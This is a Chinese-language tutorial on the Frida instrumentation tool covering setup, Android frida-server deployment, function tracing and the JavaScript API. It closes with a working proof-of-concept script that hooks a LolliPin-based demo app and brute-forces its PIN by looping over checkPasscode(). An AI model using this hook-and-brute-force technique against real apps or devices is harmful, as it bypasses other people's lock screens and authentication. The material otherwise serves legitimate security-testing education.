Frida-跨平台注入工具基础篇

http://drops.wooyun.org/tools/5602

0x00 功能介绍


官方主页

github

Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.

  • Hooking Functions
  • Modifying Function Arguments
  • Calling Functions
  • Sending messages from a target process
  • Handling runtime errors from JavaScript
  • Receiving messages in a target process
  • Blocking receives in the target process
  • ....

类似工具:Substrate/Xposed/indroid/adbi.

优势:结合python和JavaScript开发更快捷.

0x01 Setting up your PC


python环境+setuptools

1
sudo easy_install frida

可选:源码编译

1
2
3
$ git clone git: //github .com /frida/frida .git
$ cd frida
$ make

0x02 Testing your installation


创建一个进程用于注入:

1
$ cat

新建注入脚本example.py:

1
2
3
import frida
session = frida.attach( "cat" )
print ([x.name for x in session.enumerate_modules()])

linux环境下需要运行如下命令:

1
$ sudo sysctl kernel.yama.ptrace_scope=0

用于开启非子进程的ptracing.

运行frida脚本,观察:

1
$ python example.py

输出结果类似如下,代码环境正常安装成功:

[u'cat', …, u'ld-2.15.so']

0x03 Setting up your Android device


首先下载android版frida-server:

1
2
$ curl -O http: //build .frida.re /frida/android/arm/bin/frida-server
$ chmod +x frida-server

下一步部署到android设备上:

1
$ adb push frida-server /data/local/tmp/

0x04 Spin up Frida


设备上运行frida-server:

1
2
3
4
$ adb shell
root@android:/ # chmod 700 frida-server
$ adb shell
root@android:/ # /data/local/tmp/frida-server -t 0 (注意在root下运行)

电脑上运行adb forward tcp转发:

1
2
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043

27042端口用于与frida-server通信,之后的每个端口对应每个注入的进程.

运行如下命令验证是否成功安装:

1
$ frida- ps -R

正常情况应该输出进程列表如下:

PID NAME
 1590 com.facebook.katana
13194 com.facebook.katana:providers
12326 com.facebook.orca
13282 com.twitter.android
…

0x05 Tracing open() calls in Chrome


设备上打开chrome浏览器然后在pc运行如下命令:

1
2
3
4
5
6
$ frida-trace -R -i open com.android.chrome
Uploading data...
open : Auto-generated handler … /linker/open .js
open : Auto-generated handler … /libc .so /open .js
Started tracing 2 functions.
Press ENTER to stop.

开始使用chrome app然后会发现open()调用输出如下:

1392 ms open()
1403 ms open()
1420 ms open()

现在可以实时编辑的上述JS代码来调用你的Android应用

0x06 Building your own tools


frida提供的几个工具frida-trace, frida-repl...绝逼非常有用,建议阅读Functions 和 Messages章节来了解Frida APIs,

首先,使用frida的API attach上需要注入的app

1
session = frida.get_remote_device().attach( "com.mahh.secretsafe" )

session对象允许你获取信息,同时也可以操作目标进程.比如,可以调用enumerate_modules()方法来获取进程中加载模块的host信息.

1
2
>>> print session.enumerate_modules()
[Module(name = "app_process" , base_address = 0x40096000 , size = 8192 , path = "/system/bin/app_process" ), Module(name = "linker" , base_address = 0x4009a000 , size = 61440 , path = "/system/bin/linker" ), Module(name = "libcutils.so" , base_address = 0x400b0000 , size = 36864 , path = "/system/lib/libcutils.so" ), Module(name = "liblog.so" , base_address = 0x400bb000 , size = 12288 , path = "/system/lib/liblog.so" ), Module(name = "libc.so" , base_address = 0x400c0000 , size = 53248 , path = "/system/lib/libc.so" ), Module(name = "libstdc++.so" , base_address = 0x4011b000 , size = 4096 , path = "/system/lib/libstdc++.so" ), Module(name = "libm.so" , base_address = 0x4011e000 , size = 98304 , path = "/system/lib/libm.so" )

然后使用Javascript API,通过session的create_script()方法放入JavaScript代码块.JavaScript API可以用来插桩目标app的类.在这个API中有些针对android的例子,下面是一些简单的案例:

取得一个类的js封装:

1
2
3
Dalvik.perform(function () {
var MyClass = Dalvik.use( "com.mdsec.MyClass" );
});

如果类的构造方法有一个String对象的参数,应该用如下方式创建类的实例:

1
2
var MyClass = Dalvik.use( "com.mdsec.MyClass" );
var MyClassInstance = MyClass.$ new (“MySecretString”);

只需要加上对应的参数就可以调用刚才新建实例的方法.例如,调用MyClass类的MyMethod方法:

1
var result = MyClassInstance.MyMethod();

如果想替换MyMethod方法的实现来return false,使用如下代码:

1
2
3
4
MyClass.MyMethod.implementation = function ()
{
return false ;
};

Android Context(上下文)用于获取对应app相关信息以及其运行环境.所以其被广泛用于app中,需要找一种方法来访问他.获取Android Context如下代码非常有效:

1
2
var currentApplication = Dalvik.use( "android.app.ActivityThread" ).currentApplication();
var context = currentApplication.getApplicationContext();

接下来需要用到上文中提到的create_script()方法用于注册这段js代码到app session中.

1
script = session.create_script(jscode)

为了接收从Python session中JavaScript代码返回的数据,还需要注册一个message handler.注册一个message handler先要创建方法:

1
2
def on_message(message, data):
print message

然后通过调用on()方法注册event handler:

1
script.on( 'message' , on_message)

可以通过JS方法send()给message handler发送消息.例如,使用如下代码讲Context对象发送给Python客户端:

1
2
3
4
5
Dalvik.perform(function () {
var currentApplication = Dalvik.use( "android.app.ActivityThread" ).currentApplication();
var context = currentApplication.getApplicationContext();
send(context);
});

结果会返回app的context对象的地址:

{u'type': u'send', u'payload': {u'$handle': u'0x1d50079a', u'$classHandle': u'0x1d5007e6', u'$weakRef': 20}}

现在已经掌握frida的基础知识,现在可以实战演练如何破解LolliPin锁屏库.我们创建一个使用LolliPin的app截图如下:

PIN码生效后,可以使用插桩暴力破击.要达到这个目的首先要了解pin码验证是如何实现的.AppLockImpl类中验证方法如下:

现在咱们忽略LolliPin的其他漏洞,就搞PIN码的暴露破解,这是客户端认证通过都会受到的分析.

可以创建一个AppLockImpl的实例,但是为了节约内存我们直接调用已有的.分析发现AppLockImpl被调用在LockManager的getAppLock()中,这个就仅仅返回了AppLock对象.而AppLock是抽象类AppLockImpl的具现.

LockManager有一个帮助方法用于返回自己的实例.

结合上面的分析,咱们可以通过LockManager.getInstance()得到LockManager的实例,再调用getAppLock()得到AppLock.最后就可以调用AppLock的 checkPasscode()方法了.

1
2
3
var LockManager = Dalvik.use( "com.github.orangegangsters.lollipin.lib.managers.LockManager" );
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();

通过for循环调用checkPasscode()来达到暴力破解的目的:

1
2
3
4
5
for ( var i=1230; i<1235; i++)
{
var result = AppLock.checkPasscode(i+ "" );
send(i + ": " + result);
}

此循环将尝试1230到1235的pin码(已知PIN为1234...),最后利用空字符串将pin码连接起来做个强制转换再打印出来.运行脚本效果如下:

[*] Bruteforcing PIN code
[*] Testing PIN 1230: false
[*] Testing PIN 1231: false
[*] Testing PIN 1232: false
[*] Testing PIN 1233: false
[*] Testing PIN 1234: true

最后完整的frida代码块如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# LolliPin bruteforce proof of concept
# Author: Dominic Chell - @domchell
import frida,sys
def print_result(message):
print "[*] Testing PIN %s" % (message)
def on_message(message, data):
print_result(message[ 'payload' ])
jscode = """
Dalvik.perform(function () {
var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();
for(var i=1230; i<1235; i++)
{
var result = AppLock.checkPasscode(i+"");
send(i + ": " + result);
}
});
"""
process = frida.get_device_manager().enumerate_devices()[ - 1 ].attach( "com.mahh.secretsafe" )
session = process.session
script = session.create_script(jscode)
script.on( 'message' , on_message)
print "[*] Bruteforcing PIN code"
script.load()
sys.stdin.read()

0x07 reference


http://www.frida.re/docs/installation/

http://www.frida.re/docs/android/

http://www.frida.re/docs/javascript-api/

http://www.frida.re/docs/functions/

http://www.frida.re/docs/messages/

http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html

你可能感兴趣的:(Frida-跨平台注入工具基础篇)